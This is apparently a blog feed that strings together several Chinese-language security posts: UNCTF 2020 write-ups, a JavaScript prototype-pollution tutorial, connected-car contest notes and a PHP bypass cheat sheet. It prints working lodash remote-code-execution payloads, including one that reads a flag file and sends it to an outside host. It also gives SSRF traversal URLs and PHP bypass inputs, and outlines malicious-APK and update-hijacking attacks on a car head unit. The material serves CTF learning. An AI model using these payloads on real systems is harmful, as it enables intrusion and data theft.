7
8
9
10
11
12
13
14
15
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
@time:2020/11/09 17:18:05
@author:Str3am
'''

from Crypto.Util.number import long_to_bytes

n= 147282573611984580384965727976839351356009465616053475428039851794553880833177877211323318130843267847303264730088424552657129314295117614222630326581943132950689147833674506592824134135054877394753008169629583742916853056999371985307138775298080986801742942833212727949277517691311315098722536282119888605701
c= 140896698267670480175739817539898638657099087197096836734243016824204113452987617610944986742919793506024892638851339015015706164412994514598564989374037762836439262224649359411190187875207060663509777017529293145434535056275850555331099130633232844054767057175076598741233988533181035871238444008366306956934
d= 74651354506339782898861455541319178061583554604980363549301373281141419821253

m = pow(c, d, n)
print(long_to_bytes(m))

鞍山大法官开庭之缺的营养这一块怎么补

1
ottttootoootooooottoootooottotootttootooottotttooootttototoottooootoooottotoottottooooooooottotootto

培根密码,o换成a,t换成b,然后解密即可,unctf{PEIGENHENYOUYINGYANG}

Reverse

re_checkin

image-20201111140459406

初入逆向,工具都是现学,x64dbg 动态调即得 flag

反编译

参照这篇文章,反编译 run.py

http://pluie.top/2020/09/03/pyinstaller%E6%89%93%E5%8C%85%E7%9A%84-exe%E6%96%87%E4%BB%B6%E5%8F%8D%E6%B1%87%E7%BC%96%E6%88%90-py%E6%96%87%E4%BB%B6/

1
2
3
4
5
6
str2 = 'UMAQBvogWLDTWgX"""k'
flag = ''
for i in range(len(str2)):
flag += chr(ord(str2[i]) + i)

print(flag)

UNCTF{un_UN_ctf123}

]]>
<h2 id="Web"><a href="#Web" class="headerlink" title="Web"></a>Web</h2><h3 id="easy-ssrf"><a href="#easy-ssrf" class="headerlink" title="easy_ssrf"></a>easy_ssrf</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">echo</span><span class="string">'&lt;center&gt;&lt;strong&gt;welc0me to 2020UNCTF!!&lt;/strong&gt;&lt;/center&gt;'</span>;</span><br><span class="line">highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">$url = $_GET[<span class="string">'url'</span>];</span><br><span class="line"><span class="keyword">if</span>(preg_match(<span class="string">'/unctf\.com/'</span>,$url))&#123;</span><br><span class="line"> <span class="keyword">if</span>(!preg_match(<span class="string">'/php|file|zip|bzip|zlib|base|data/i'</span>,$url))&#123;</span><br><span class="line"> $url=file_get_contents($url);</span><br><span class="line"> <span class="keyword">echo</span>($url);</span><br><span class="line"> &#125;<span class="keyword">else</span>&#123;</span><br><span class="line"> <span class="keyword">echo</span>(<span class="string">'error!!'</span>);</span><br><span class="line"> &#125;</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line"> <span class="keyword">echo</span>(<span class="string">"error"</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure> <p>url里只要包含 <code>unctf.com</code> 即可,开始想多了,弄到 gopher 协议了,然后发现 <code>dict</code> 和 <code>gopher</code> 协议根本没开启,手慢错失三血</p> <figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http:<span class="regexp">//</span>e035ba36-<span class="number">6</span>bf8-<span class="number">44</span>c8-<span class="number">9837</span>-<span class="number">2</span>afecc32ca08.node3.hackingfor.fun<span class="regexp">/?url=/u</span>nctf.com<span class="regexp">/../</span>..<span class="regexp">/../</span>..<span class="regexp">/flag</span></span><br></pre></td></tr></table></figure>
JavaScript 原型链污染 https://jlkl.github.io/2020/11/06/Web_16/ 2020-11-05T16:30:16.000Z 2021-04-13T08:52:34.000Z 一、原型链基础知识

关于原型链基础可以查看:继承与原型链

JavaScript 只有一种结构:对象。每个实例对象( object )都有一个私有属性(称之为 proto )指向它的构造函数的原型对象(prototype )。该原型对象也有一个自己的原型对象( proto ) ,层层向上直到一个对象(Object)的原型对象为 null。根据定义,null 没有原型,并作为这个原型链中的最后一个环节。

JavaScript 是动态的,本身不提供一个 class 实现(ES6 引入了 class 关键字,但只是语法糖,JavaScript 任然是基于原型的)

prototype 和 __proto__

JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义:

1
2
3
4
5
function Foo() {
this.bar = 1
}

var foo = new Foo()

Foo 函数的内容,就是 Foo 类的构造函数,而 this.bar 就是Foo类的一个属性。

每个类有一个 prototype 属性,它指向该类的原型对象。

image-20201105120701124

同样的每个实例也有一个 __proto__ 属性指向实例对象的原型对象。

image-20201105120905033

实例对象 __proto__ 与该实例对象所属类的 prototype 是相等的

1
2
3
4
5
6
7
function Foo() {
this.bar = 1
}

var foo = new Foo()

console.log(foo.__proto__ === Foo.prototype)//true

附上 Smi1e 师傅的图便于理解

image-20201105121215145

constructor

每个实例对象都有一个 constructor 属性指向对应的构造函数,即类。所以以下几种写法其实是相等的,都返回 Foo 类的原型对象。

1
2
3
4
Foo.prototype
foo["__proto__"]
foo.__proto__
foo.constructor.prototype

原型链继承

所有类对象在实例化的时候将会拥有 prototype 中的属性和方法,这个特性被用来实现JavaScript中的继承机制。

比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}

function Son() {
this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

Son类继承了Father类的last_name属性,最后输出的是Name: Melania Trump

JavaScript 的查找机制如下:

  1. 在对象son中寻找last_name
  2. 如果找不到,则在son.__proto__中寻找last_name
  3. 如果仍然找不到,则继续在son.__proto__.__proto__中寻找last_name
  4. 依次寻找,直到找到null结束。比如,Object.prototype__proto__就是 null

image-20201105135324336

不同对象所生成的原型链如下(部分)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var o = {a: 1};
// o对象直接继承了Object.prototype
// 原型链:
// o ---> Object.prototype ---> null

var a = ["yo", "whadup", "?"];
// 数组都继承于 Array.prototype
// 原型链:
// a ---> Array.prototype ---> Object.prototype ---> null

function f(){
return 2;
}
// 函数都继承于 Function.prototype
// 原型链:
// f ---> Function.prototype ---> Object.prototype ---> null

二、原型链污染原理

对于语句:object[a][b] = value 如果可以控制a、b、value的值,将a设置为__proto__,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value

image-20201105140128097

原型链污染简单来说就是如果能够控制并修改一个对象的原型,就可以影响到所有和这个对象同一个原型的对象

merge 操作导致原型链污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
//1 2
console.log(o1.a, o1.b)

o3 = {}
//2
console.log(o3.b)

注意,这里如果不使用 json parse 的话,__proto__ 会被认为是原型对象,不是 key,就不会覆盖。

Code-Breaking 2018 Thejs

源码下载:http://code-breaking.com/puzzle/9/

下载之后 npm install 即可自动安装依赖

server.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})

return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}

res.render('index', {
language: data.language,
category: data.category
})
})

app.listen(3000, () => console.log(`Example app listening on port 3000!`))

lodash.template 渲染模版,lodash.merge 合并函数或对象。整个程序逻辑,获取 post 数据,然后通过 merge 函数合并到 session 当中并显示。

通过 merge 函数可以将属性值注入到最底层的 Object,造成原型链污染,接下来找利用的点。

lodash/template.js 中(实际调试是在 lodash.js14748 行 )

1
2
3
4
5
6
7
// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});

options.sourceURL 原本是没有赋值的,通过 merge 污染原型链注入 sourceURL 属性,然后在 Function 里拼接后执行。

关于 Function 构造函数可以参照这个链接,这里第一个参数为参数值,第二个参数我是把它理解为执行的函数的代码片段,所以可以通过加入 \r\n 字符注入恶意代码运行。

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function

这里直接给出 p神的可回显payload,需要注意坑点,原始 POST 提交,Content-Type 值为 application/x-www-form-urlencoded,需要修改为 application/json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 10.17.123.212:3000
Content-Length: 187
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.17.123.212:3000
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.17.123.212:3000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"__proto__":{"sourceURL":"\r\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('whoami')}\r\n//"}}

其他无回显 payload

1
2
3
4
{"__proto__":{"sourceURL":"\nglobal.process.mainModule.constructor._load('child_process').exec('calc')//"}}


{"__proto__":{"sourceURL":"xxx\r\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('cat /flag_thepr0t0js').toString();var req = require('http').request(`http://l0ca1.com/${result}`);req.end();\r\n"}}

这还有个 tip,因为范围原因,无法在 Function 函数里直接引用 requireprocess 等模块,需要在前面添加 global,可以查看 l0ca1 师傅的 writeup

https://blog.l0ca1.xyz/2018/11/25/Code-Breaking-JS/

1
var require = global.require || global.process.mainModule.constructor._load

参考链接

]]>
<h2 id="一、原型链基础知识"><a href="#一、原型链基础知识" class="headerlink" title="一、原型链基础知识"></a>一、原型链基础知识</h2><p>关于原型链基础可以查看:<a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain" target="_blank" rel="noopener">继承与原型链</a></p> <blockquote> <p>JavaScript 只有一种结构:对象。每个实例对象( object )都有一个私有属性(称之为 <strong>proto</strong> )指向它的构造函数的原型对象(<strong>prototype</strong> )。该原型对象也有一个自己的原型对象( <strong>proto</strong> ) ,层层向上直到一个对象(Object)的原型对象为 <code>null</code>。根据定义,<code>null</code> 没有原型,并作为这个<strong>原型链</strong>中的最后一个环节。</p> </blockquote> <p>JavaScript 是动态的,本身不提供一个 <code>class</code> 实现(ES6 引入了 <code>class</code> 关键字,但只是语法糖,JavaScript 任然是基于原型的)</p> <h3 id="prototype-和-proto"><a href="#prototype-和-proto" class="headerlink" title="prototype 和 __proto__"></a>prototype 和 <code>__proto__</code></h3><p>JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义:</p> <figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">Foo</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line"> <span class="keyword">this</span>.bar = <span class="number">1</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> foo = <span class="keyword">new</span> Foo()</span><br></pre></td></tr></table></figure> <p>Foo 函数的内容,就是 Foo 类的构造函数,而 this.bar 就是Foo类的一个属性。</p>
某车联网安全挑战赛总结 https://jlkl.github.io/2020/10/22/Other-02/ 2020-10-22T06:19:50.000Z 2020-10-22T06:21:17.000Z 一、第一天

上午

CTF 夺旗,考验基础渗透能力,有些简单的题目 sqlmap 可以直接出,主要是 Web 和 Misc 方向的题目,一个半小时20多道题目,时间有点紧。没有提供网线,WiFi 连接内网,切换热点查资料不是很方便。

下午

汽车交互系统 App 漏洞挖掘,还有一个云平台,主要考验安卓逆向能力,不是想象中的给一个 apk 然后自己找漏洞,会提供一些填空题,问答题要求让你做。大概题目有,Apk包名是什么,使用的中间件名字版本,最主要的还是车身控制比如开关车门、空调预约指令的重放,大概看了一下数据先使用 AES 再使用 Base64 加密。

关门指令数据包

1
2
3
4
5
6
7
8
9
10
POST /eop/IAPPService/saveLockState?mobileNum=ixrlg%2B4yOqNGFhorPPUJRQ%3D%3D&token=0%2Fah6b%2BJbUT5D5fDHcltV29caZViC05pvC3tKf605tc%3D&door=3I4228ovBIPLv2Q6yyyE9Q%3D%3D&state=KNYz3Sd6UE9gJ%2BXCNCTVAQ%3D%3D&deviceId=21e0b51be0a0d2a75E%3A2A%3A86%3A23%3A80%3A0C HTTP/1.1
Charset: UTF-8
Accept-Encoding: gzip, deflate
timestamp: 1603179934743
sign: B4E15BFC376DB0640D8159CCF223FD71
Content-Length: 0
Host: 192.168.101.34:8080
Connection: close
Cookie: JSESSIONID=37716403183F1A23B36555FEDF7C0AA2
User-Agent: okhttp/3.12.0

二、第二天

上午

每个队伍一个小时进车,连接OBD获取车CAN指令信息,抓取每个控制CAN控制指令比如开关车窗发送的数据。这一块其实感觉和车联网关系不大,是车辆的控制和协议了,类似 Burp 抓包的过程,总共 75 项数据,执行每个指令后有些数据会变化,还有一些事周期性变化的数据,需要从这里面找出对应指令的数据。这块建议多摸真车实践操作。

下午

车辆娱乐系统漏洞挖掘,这块就比较开放,随意查找漏洞,安卓9.0系统。之前用中间人攻击抓取了部分流量分析,发现外网的请求就只有酷我音乐还有高德地图。这里我们有两个攻击的思路:

  1. 拨号开启 adb 调试模式,然后安卓恶意 apk 程序本地代码执行,这里需要注意的是系统默认有一个守护进程会禁止安装 apk,需要通过 adb 获取 root 权限然后 kill 掉守护进程才能正常安装。
  2. 中间人攻击,劫持域名解析结果到本地,结合应用检查更新的功能,替换成恶意apk程序安装,但这里需要 http 协议通信的才可以成功。

总结

类似的比赛,夺旗赛可以先派 CTF 选手上,涉及车联网方面再让车联网大哥上。这次成绩不理想,没有其他的原因,菜是原罪,好好努力吧

]]>
<h2 id="一、第一天"><a href="#一、第一天" class="headerlink" title="一、第一天"></a>一、第一天</h2><p><strong>上午</strong></p> <p>CTF 夺旗,考验基础渗透能力,有些简单的题目 sqlmap 可以直接出,主要是 Web 和 Misc 方向的题目,一个半小时20多道题目,时间有点紧。没有提供网线,WiFi 连接内网,切换热点查资料不是很方便。</p>
PHP函数漏洞总结 https://jlkl.github.io/2020/08/26/PHP_01/ 2020-08-26T12:47:35.000Z 2020-08-26T12:53:09.000Z 前言

本文主要针对 PHP 函数相关的漏洞的总结,可能会偏向 CTF 方面,内容肯定不全,有空的话会持续更新,欢迎各位表哥补充以及对文章错误之处进行斧正!

1 弱类型安全问题

1.1 == 弱类型比较缺陷

=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
== 在进行比较的时候,会先将字符串类型转化成相同,再比较

(1)字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值则为0

1
2
3
var_dump("admin"==0); //true
var_dump("1admin"== 1); //true
var_dump("admin1"==0) //true

(2)在进行弱类型比较时,会将0e这类字符串识别为科学技术法的数字,0的无论多少次方都是零,所以相等

1
var_dump("0e123456"=="0e99999"); //true

(3)当字符串当作数值来取值时,如果字符串中包含.eE或者数值超过整型范围内时,被当作float来取值,如果没有包含上述字符且在整形范围内,则该字符串会当作 int 来取值

1
2
3
4
5
$test=1 + "10.5"; // $test=11.5(float)
$test=1+"-1.3e3"; //$test=-1299(float)
$test=1+"bob-1.3e3";//$test=1(int)
$test=1+"2admin";//$test=3(int)
$test=1+"admin2";//$test=1(int)

(4)ture 和任意字符串弱类型相等,和非 0 数字若类型相等

1
2
3
4
5
6
var_dump("admin"== true); //true
var_dump("0admin"== true);//true
var_dump(7==true);//true
var_dump(1==true);//true
var_dump(0==true);//false
var_dump(-7==true);//true

附上类型比较表:

https://www.php.net/manual/zh/types.comparisons.php

1.2 switch()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$a="4admin";
switch ($a) {
case 1:
echo "fail1";
break;
case 2:
echo "fail2";
break;
case 3:
echo "fail3";
break;
case 4:
echo 'flag{xxxxxx}'; //结果输出flag
break;
default:
echo "failall";
break;
}
?>

利用php弱类型原理,$a="4admin"在进行弱类型比较时会截取前面的4作为字符串的数值,正好可以匹配到case 4

1.3 md5()

  1. hash 比较缺陷
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if (isset($_GET['Username']) && isset($_GET['password'])) {
$logined = true;
$Username = $_GET['Username'];
$password = $_GET['password'];
if (!ctype_alpha($Username)) {$logined = false;}
if (!is_numeric($password) ) {$logined = false;}
if (md5($Username) != md5($password)) {$logined = false;}
if ($logined){
echo "successful";
}else{
echo "login failed!";
}
}
?>

弱比较,hash 值为 0e 开头即可绕过,例如 md5('240610708') == md5('QNKCDZO')

附上常见 0e 开头的md5和原值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
QNKCDZO
0e830400451993494058024219903391

240610708
0e462097431906509019562988736854

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

双 md5:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$md5          md5($md5)
0e00275209979 0e551387587965716321018342879905
0e00506035745 0e224441551631909369101555335043
0e00540451811 0e057099852684304412663796608095
0e00678205148 0e934049274119262631743072394111
0e00741250258 0e899567782965109269932883593603
0e00928251504 0e148856674729228041723861799600
0e01350016114 0e769018222125751782256460324867
0e01352028862 0e388419153010508575572061606161
0e01392313004 0e793314107039222217518920037885
0e01875552079 0e780449305367629893512581736357
0e01975903983 0e317084484960342086618161584202
0e02042356163 0e335912055437180460060141819624
0e02218562930 0e151492820470888772364059321579
0e02451355147 0e866503534356013079241759641492
0e02739970294 0e894318228115677783240047043017
0e02760920150 0e413159393756646578537635311046
0e02784726287 0e433955189140949269100965859496
0e03298616350 0e851613188370453906408258609284
0e03393034171 0e077847024281996293485700020358

$md5 == md5($md5),0e+数字 md5 爆破脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python
import hashlib
import re

prefix = '0e'


def breakit():
iters = 0
while 1:
s = prefix + str(iters)
hashed_s = hashlib.md5(s).hexdigest()
iters = iters + 1
r = re.match('^0e[0-9]{30}', hashed_s)
if r:
print "[+] found! md5( {} ) ---> {}".format(s, hashed_s)
print "[+] in {} iterations".format(iters)
exit(0)

if iters % 1000000 == 0:
print "[+] current value: {} {} iterations, continue...".format(s, iters)

breakit()

PHP 版本:

1
2
3
4
5
6
<?php 
for($i=0;;$i++)
if("0e{$i}"==md5("0e{$i}"))
die ("[+] found! 0e{$i}");
elseif ($i % 1000000 === 0)
echo "[+] current value: {$i}\n";
  1. md5 碰撞
1
2
3
4
5
<?php
if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2']))
{
die("success!");
}

两个参数内容不同,但 md5 值相同的,可以使用 fastcoll 工具碰撞

1
2
param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

最好使用 burp 发包,hackbar 插件有些时候会有问题

  1. 处理数组问题

PHP手册中的md5()函数的描述是string md5 ( string $str [, bool $raw_output = false ] ),md5()中的需要是一个string类型的参数。但是当你传递一个array时,md5()不会报错,只是会无法正确地求出array的md5值,并且返回NULL

1
2
3
4
5
<?php
if(md5($_GET['a']) == md5($_GET['b']))
{
echo "yes";
}

payload:

1
a[]=1&b[]=2
  1. 处理 INF
1
2
3
4
var_dump(md5('INF'));
//9517fd0bf8faa655990a4dffe358e13e
var_dump(md5(9e999999));//9e999999即INF
//9517fd0bf8faa655990a4dffe358e13e

即可满足 md5($this->trick1) === md5($this->trick2)

  1. 处理 0.1*0.1

0.1*0.1 实际上由于浮点数处理的原因,数值为 0.010000000000000002

猜测 md5 函数处理时对小数的部分进行了舍弃,所以

1
2
3
4
var_dump(md5(0.01));
//04817efd11c15364a6ec239780038862
var_dump(md5(0.1*0.1));
//04817efd11c15364a6ec239780038862

Ciscn 2020 easytrick

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class trick{
public $trick1;
public $trick2;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);
unserialize($_GET['trick']);

payload1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class trick{
public $trick1;
public $trick2;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag");
}
}
}
$a = new trick;
$a->trick1="INF";
$a->trick2=9e999999;
var_dump(serialize($a));

payload2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class trick{
public $trick1;
public $trick2;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag");
}
}
}
$a = new trick;
$a->trick1=0.01;
$a->trick2=0.1*0.1;
var_dump(serialize($a));

这里采用序列化的方式是因为需要传入的是数字,而常规 post 或 get 输入默认会被当做字符串处理

  1. 第二个参数被设置为 true
1
2
3
4
5
6
7
8
9
10
<?php
$password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
}

第二个参数设置为 true 时, MD5 报文摘要将以16字节长度的原始二进制格式返回

?password=ffifdyop ,sql 语句转换为 SELECT * FROM admin WHERE pass=' 'or ' 6'<trash>

同样 129581926211651571912466741651878684928 md5 后为 T0Do#'or'8

1.4 json_decode()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
show_source(__FILE__);
if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
$key ="*********";
if ($message->key == $key) {
echo "flag";
}
else {
echo "fail";
}
}
else{
echo "~~~~";
}
?>

运用 bool 欺骗,json_decode 将 key 值解析为 bool 类型的 false,payload message={"key":0}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if(!is_array($_GET['test'])){exit();}
$test=$_GET['test'];
for($i=0;$i<count($test);$i++){
if($test[$i]==="admin"){
echo "error";
exit();
}
$test[$i]=intval($test[$i]);
}
if(array_search("admin",$test)===0){
echo "flag";
}
else{
echo "false";
}
?>

https://www.php.net/array_search

参照 PHP 手册,array_search ( mixed $needle , array $haystack [, bool $strict = false ] ) : mixed,第三个参数 strict 默认为 false,如果可选的第三个参数 strictTRUE,则 array_search() 将在 haystack 中检查完全相同的元素。 这意味着同样严格比较 haystackneedle 的 类型,并且对象需是同一个实例。

即默认为 false 时,会进行弱类型比较,于是 payload test[]=0

1.6 strcmp()

1
2
3
4
5
6
7
8
9
10
11
12
<?php
show_source(__FILE__);
$password="***************";
if(isset($_POST['password'])){
if (strcmp($_POST['password'], $password) == 0) {
echo "Right!!!login success";
exit();
} else {
echo "Wrong password..";
}
}
?>

strcmp()函数在PHP官方手册中的描述是int strcmp ( string $str1 , string $str2 ),需要给strcmp()传递2个string类型的参数。如果str1小于str2,返回-1,相等返回0,否则返回1。

如果传入给出strcmp()的参数是数组则返回NULL,NULL==0bool(true),所以 payload password[]=2

1.7 sha1()

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
show_source(__FILE__);
$tmp1 = $_POST['tmp1'];
$tmp2 = $_POST['tmp2'];
if(!isset($tmp1) && !isset($tmp2) && $tmp1 == $tmp2 )
{
die("Error");
}
if(md5($tmp1)==md5($tmp2) && sha1($tmp1)==sha1($tmp2)&&base64_decode($tmp1) == base64_decode($tmp2))
{
echo "successful";
}
?>

传入数组放回 NULL,payload tmp1[]=1&tmp2[]=2

1.8 base64_encode()、base64_decode()

sha1()strcmp()

1.9 intval()

intval(var)函数用于获取变量的整数值。在转换时,函数会从字符串起始处进行转换直到遇到一个非数字的字符,即使出现无法转换的字符串也不会报错而是返回0,从而可以导致如下情形的Bypass

1
2
3
4
5
6
7
8
9
<?php
$a = $_GET['a'];
if (intval($a) === 666) {
$sql = "Select a From Table Where Id=".$a;
echo $sql;
} else {
echo "No...";
}
?>

image-20200814205011129

2 srand()/mt_srand()

语法:srand(seed)mt_srand(seed)

自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 给随机数发生器播种 ,因为现在是由系统自动完成的。但他却有个特性就是 当设置好种子后 再通过mt_rand()生成出来的随机数将会是固定的。

https://mp.weixin.qq.com/s/nVqkiMXyg2D_HtwLTkSgMA

1
2
3
4
5
6
7
8
function getRandomString($len, $chars=null){
if (is_null($chars)){ $chars = "bcdefghijklmnpqrtuvwxyzBCDEFGHIJKLMNPQRTUVWXYZ12345679"; }
mt_srand(10000000*(double)microtime());
for ($i = 0, $str = '', $lc = strlen($chars)-1; $i < $len; $i++){
$str .= $chars[mt_rand(0, $lc)];
}
return $str;
}

(double)microtime() 只有6位有效数字,种子取值0,10,20,30,40,50,60,70,80,90,100~9999980,9999990 共100W,种子固定,生成的随机数固定即生成的随机字符串固定,导致可爆破

3 preg_replace()

定义:preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换

参数:

1
2
3
4
5
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
$count: 可选,为替换执行的次数。

常用PCRE修饰符:

  • i (PCRE_CASELESS):如果设置了这个修饰符,模式中的字母会进行大小写不敏感匹配
  • m (PCRE_MULTILINE): “行首”元字符 (^) 和”行末”元字符 ($) 会匹配目标字符串中任意换行符之前或之后
  • s (PCRE_DOTALL):点号元字符匹配所有字符,包含换行符。如果没有这个 修饰符,点号不匹配换行符。一个取反字符类比如 [^a] 总是匹配换行符,而不依赖于这个修饰符的设置。

https://www.php.net/manual/zh/reference.pcre.pattern.modifiers.php

1)/e 修饰符问题

在PHP5.5.0起废弃,php7.0.0 起不再支持

1
2
<?php
echo preg_replace('/test/e',$_GET['r'],'atest');

?r=phpinfo(),获取 phpinfo

https://xz.aliyun.com/t/2557

1
2
3
4
5
6
7
8
9
10
11
12
<?php
function complexStrtolower($regex, $value) {
return preg_replace(
'/(' . $regex . ')/ei',
'strtolower("\\1")',
$value
);
}

foreach ($_GET as $regex => $value) {
echo complexStrtolower($regex, $value) . "\n";
}

?\S*={${phpinfo()}} ,正则表达式 \1 表示符合匹配的第一个子串,{${phpinfo()}} 使用了可变变量的知识。

2)经典写配置漏洞

https://www.leavesongs.com/PENETRATION/thinking-about-config-file-arbitrary-write.html

1
2
3
4
5
6
7
//index.php
<?php
$api = addslashes($_GET['api']);
echo $api;
$file = file_get_contents('./option.php');
$file = preg_replace("/define\('API', '.*'\);/s", "define('API', '{$api}');", $file);
file_put_contents('./option.php', $file);
1
2
3
//option.php
<?php
define('API', 'aaa\\');

4 preg_match()

1)缺少开始和结束符

